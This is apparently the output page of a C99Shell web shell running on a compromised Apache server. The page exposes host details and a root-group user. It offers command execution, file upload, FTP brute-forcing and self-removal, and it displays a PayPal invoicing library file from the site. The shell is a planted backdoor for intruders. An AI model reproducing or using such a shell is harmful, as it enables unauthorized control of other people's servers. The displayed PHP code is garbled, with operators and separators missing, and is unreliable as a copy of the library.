!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/srmklive/paypal/src/Traits/PayPalAPI/   drwxr-xr-x
Free 28.5 GB of 117.98 GB (24.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Invoices.php (10.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Srmklive\PayPal\Traits\PayPalAPI;

trait 
Invoices
{
    
/**
     * Create a new draft invoice.
     *
     * @param array $data
     *
     * @throws \Throwable
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/invoicing/v2/#invoices_create
     */
    
public function createInvoice(array $data)
    {
        
$this->apiEndPoint 'v2/invoicing/invoices';

        
$this->options['json'] = $data;

        
$this->verb 'post';

        return 
$this->doPayPalRequest();
    }

    
/**
     * Get list of invoices.
     *
     * @param array $fields
     *
     * @throws \Throwable
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/invoicing/v2/#invoices_list
     */
    
public function listInvoices(array $fields = [])
    {
        
$fields_list collect($fields);

        
$fields = ($fields_list->count() > 0) ? "&fields={$fields_list->implode(',')}'';

        
$this->apiEndPoint "v2/invoicing/invoices?page={$this->current_page}&page_size={$this->page_size}&total_required={$this->show_totals}{$fields}";

        
$this->verb 'get';

        return 
$this->doPayPalRequest();
    }

    
/**
     * Send an existing invoice.
     *
     * @param string $invoice_id
     * @param string $subject
     * @param string $note
     * @param bool   $send_recipient
     * @param bool   $send_merchant
     * @param array  $recipients
     *
     * @throws \Throwable
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/invoicing/v2/#invoices_send
     */
    
public function sendInvoice(string $invoice_idstring $subject ''string $note ''bool $send_recipient truebool $send_merchant false, array $recipients = [])
    {
        
$this->apiEndPoint "v2/invoicing/invoices/{$invoice_id}/send";

        
$this->options['json'] = $this->getInvoiceMessagePayload($subject$note$recipients$send_recipient$send_merchant);

        
$this->verb 'post';

        return 
$this->doPayPalRequest(false);
    }

    
/**
     * Send reminder for an existing invoice.
     *
     * @param string $invoice_id
     * @param string $subject
     * @param string $note
     * @param bool   $send_recipient
     * @param bool   $send_merchant
     * @param array  $recipients
     *
     * @throws \Throwable
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/invoicing/v2/#invoices_remind
     */
    
public function sendInvoiceReminder(string $invoice_idstring $subject ''string $note ''bool $send_recipient truebool $send_merchant false, array $recipients = [])
    {
        
$this->apiEndPoint "v2/invoicing/invoices/{$invoice_id}/remind";

        
$this->options['json'] = $this->getInvoiceMessagePayload($subject$note$recipients$send_recipient$send_merchant);

        
$this->verb 'post';

        return 
$this->doPayPalRequest(false);
    }

    
/**
     * Cancel an existing invoice which is already sent.
     *
     * @param string $invoice_id
     * @param string $subject
     * @param string $note
     * @param bool   $send_recipient
     * @param bool   $send_merchant
     * @param array  $recipients
     *
     * @throws \Throwable
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/invoicing/v2/#invoices_cancel
     */
    
public function cancelInvoice(string $invoice_idstring $subject ''string $note ''bool $send_recipient truebool $send_merchant false, array $recipients = [])
    {
        
$this->apiEndPoint "v2/invoicing/invoices/{$invoice_id}/cancel";

        
$this->options['json'] = $this->getInvoiceMessagePayload($subject$note$recipients$send_recipient$send_merchant);

        
$this->verb 'post';

        return 
$this->doPayPalRequest(false);
    }

    
/**
     * Register payment against an existing invoice.
     *
     * @param string $invoice_id
     * @param string $payment_date
     * @param string $payment_method
     * @param float  $amount
     * @param string $payment_note
     * @param string $payment_id
     *
     * @throws \Throwable
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/invoicing/v2/#invoices_payments
     */
    
public function registerPaymentInvoice(string $invoice_idstring $payment_datestring $payment_methodfloat $amountstring $payment_note ''string $payment_id '')
    {
        
$this->apiEndPoint "v2/invoicing/invoices/{$invoice_id}/payments";

        
$data = [
            
'payment_id'    => $payment_id,
            
'payment_date'  => $payment_date,
            
'method'        => $payment_method,
            
'note'          => $payment_note,
            
'amount'        => [
                
'currency_code'  => $this->currency,
                
'value'          => $amount,
            ],
        ];

        
$this->options['json'] = $data;

        
$this->verb 'post';

        return 
$this->doPayPalRequest();
    }

    
/**
     * Delete payment against an existing invoice.
     *
     * @param string $invoice_id
     * @param string $transaction_id
     *
     * @throws \Throwable
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/invoicing/v2/#invoices_payments-delete
     */
    
public function deleteExternalPaymentInvoice(string $invoice_idstring $transaction_id)
    {
        
$this->apiEndPoint "v2/invoicing/invoices/{$invoice_id}/payments/{$transaction_id}";

        
$this->verb 'delete';

        return 
$this->doPayPalRequest(false);
    }

    
/**
     * Register payment against an existing invoice.
     *
     * @param string $invoice_id
     * @param string $payment_date
     * @param string $payment_method
     * @param float  $amount
     *
     * @throws \Throwable
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/invoicing/v2/#invoices_refunds
     */
    
public function refundInvoice(string $invoice_idstring $payment_datestring $payment_methodfloat $amount)
    {
        
$this->apiEndPoint "v2/invoicing/invoices/{$invoice_id}/refunds";

        
$data = [
            
'refund_date'   => $payment_date,
            
'method'        => $payment_method,
            
'amount'        => [
                
'currency_code'  => $this->currency,
                
'value'          => $amount,
            ],
        ];

        
$this->options['json'] = $data;

        
$this->verb 'post';

        return 
$this->doPayPalRequest();
    }

    
/**
     * Delete refund against an existing invoice.
     *
     * @param string $invoice_id
     * @param string $transaction_id
     *
     * @throws \Throwable
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/invoicing/v2/#invoices_refunds-delete
     */
    
public function deleteRefundInvoice(string $invoice_idstring $transaction_id)
    {
        
$this->apiEndPoint "v2/invoicing/invoices/{$invoice_id}/refunds/{$transaction_id}";

        
$this->verb 'delete';

        return 
$this->doPayPalRequest(false);
    }

    
/**
     * Generate QR code against an existing invoice.
     *
     * @param string $invoice_id
     * @param int    $width
     * @param int    $height
     *
     * @throws \Throwable
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/invoicing/v2/#invoices_generate-qr-code
     */
    
public function generateQRCodeInvoice(string $invoice_idint $width 100int $height 100)
    {
        
$this->apiEndPoint "v2/invoicing/invoices/{$invoice_id}/generate-qr-code";

        
$this->options['json'] = [
            
'width'     => $width,
            
'height'    => $height,
        ];
        
$this->verb 'post';

        return 
$this->doPayPalRequest();
    }

    
/**
     * Generate the next invoice number.
     *
     * @throws \Throwable
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/invoicing/v2/#invoices_generate-next-invoice-number
     */
    
public function generateInvoiceNumber()
    {
        
$this->apiEndPoint 'v2/invoicing/generate-next-invoice-number';

        
$this->verb 'post';

        return 
$this->doPayPalRequest();
    }

    
/**
     * Show details for an existing invoice.
     *
     * @param string $invoice_id
     *
     * @throws \Throwable
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/invoicing/v2/#invoices_get
     */
    
public function showInvoiceDetails(string $invoice_id)
    {
        
$this->apiEndPoint "v2/invoicing/invoices/{$invoice_id}";

        
$this->verb 'get';

        return 
$this->doPayPalRequest();
    }

    
/**
     * Update an existing invoice.
     *
     * @param string $invoice_id
     * @param array  $data
     *
     * @throws \Throwable
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/invoicing/v2/#invoices_update
     */
    
public function updateInvoice(string $invoice_id, array $data)
    {
        
$this->apiEndPoint "v2/invoicing/invoices/{$invoice_id}";

        
$this->options['json'] = $data;

        
$this->verb 'put';

        return 
$this->doPayPalRequest();
    }

    
/**
     * Delete an invoice.
     *
     * @param string $invoice_id
     *
     * @throws \Throwable
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     *
     * @see https://developer.paypal.com/docs/api/invoicing/v2/#invoices_list
     */
    
public function deleteInvoice(string $invoice_id)
    {
        
$this->apiEndPoint "v2/invoicing/invoices/{$invoice_id}";

        
$this->verb 'delete';

        return 
$this->doPayPalRequest(false);
    }

    
/**
     * Get Invoice Message Payload.
     *
     * @param string $subject
     * @param string $note
     * @param array  $recipients
     * @param bool   $send_recipient
     * @param bool   $send_merchant
     *
     * @return array
     */
    
protected function getInvoiceMessagePayload(string $subjectstring $note, array $recipientsbool $send_recipientbool $send_merchant): array
    {
        
$data = [
            
'subject'               => !empty($subject) ? $subject '',
            
'note'                  => !empty($note) ? $note '',
            
'additional_recipients' => (collect($recipients)->count() > 0) ? $recipients '',
            
'send_to_recipient'     => $send_recipient,
            
'send_to_invoicer'      => $send_merchant,
        ];

        return 
collect($data)->filter()->toArray();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--